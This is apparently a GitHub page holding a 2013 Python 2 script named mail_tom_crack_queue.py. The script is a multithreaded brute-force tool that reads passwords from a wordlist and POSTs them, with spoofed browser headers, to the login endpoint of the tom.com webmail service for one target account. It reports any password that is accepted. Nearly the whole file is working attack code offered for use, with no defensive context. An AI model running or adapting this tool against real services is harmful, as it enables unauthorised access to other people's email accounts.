-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmail_tom_crack_queue.py
executable file
·115 lines (98 loc) · 2.61 KB
/
mail_tom_crack_queue.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#-*-coding:utf-8-*-
'''
by SiRius.Gothack([email protected]) 2013-03-15
'''
import urllib,cookielib,urllib2
from md5 import *
from random import *
import os
import Queue
import threading,time
global url
global uname
global queue
def crack(url,username,password):
headers = {
"User-Agent":"Mozilla/5.0 (X11;Linux i686) AppWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7",
"Content-Type":"application/x-www-form-urlencoded",
"Accept":"text/plain,*/*,q=0.01",
"Connection":"Keep-Alive",
"Referer":"http://web.mail.tom.com/webmail/login/index.action",
"Accept-Encoding":"gzip,deflate,sdch",
"Accept-Language":"zh-CN,zh;q=0.8",
"Accept-Charset":"UTF-8,*;q=0.5",
"Origin":"http://web.mail.tom.com",
"Host":"web.mail.tom.com",
"X-Requested-With":"XMLHttpRequest"
}
url = url
username = username.strip()
password = password.strip()
print password
values = {'username':'[email protected]','password':password}
data = urllib.urlencode(values)
cookiejar = cookielib.CookieJar()
urlOpener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookiejar))
req = urllib2.Request(url,data,headers)
try:
reqopen = urlOpener.open(req)
resp = reqopen.read()
#print resp
#resp = dict(resp)
#status = resp['status']
#print status
except urllib2.HTTPError,e:
print e
#status = 'error'
#print code
if 'OK' in resp:
print 'Cracked!Basic Password is : ',password
os._exit(1)
elif password == '':
print 'Password not found!'
os._exit(1)
class Producer(threading.Thread):
def __init__(self,FILE):
threading.Thread.__init__(self)
self.FILE = FILE
def run(self):
pwdfile = open(self.FILE)
while True:
if queue.qsize() > 1000:
pass
else:
pwd = pwdfile.readline().strip()
queue.put(pwd)
#print '+',pwd
class Basic_Consumer(threading.Thread):
def __init__(self,url,uname):
threading.Thread.__init__(self)
self.url = url
self.uname = uname
def run(self):
while True:
if queue.qsize() < 10:
#print queue.qsize()
pass
else:
passwd = queue.get()
crack(self.url,self.uname,passwd)
#print '-',passwd
#print '-',passwd
def main():
FILE = 'password.txt'
password = open(FILE)
uname = 'discard'
url = 'http://web.mail.tom.com/webmail/login/loginService.action'
thread_count = 10
p = Producer(FILE)
p.start()
time.sleep(1)
print 'Auth method is Basic...'
for i in range(thread_count):
c = Basic_Consumer(url,uname)
c.start()
print c.name+' is started...'
if __name__=='__main__':
queue = Queue.Queue()
main()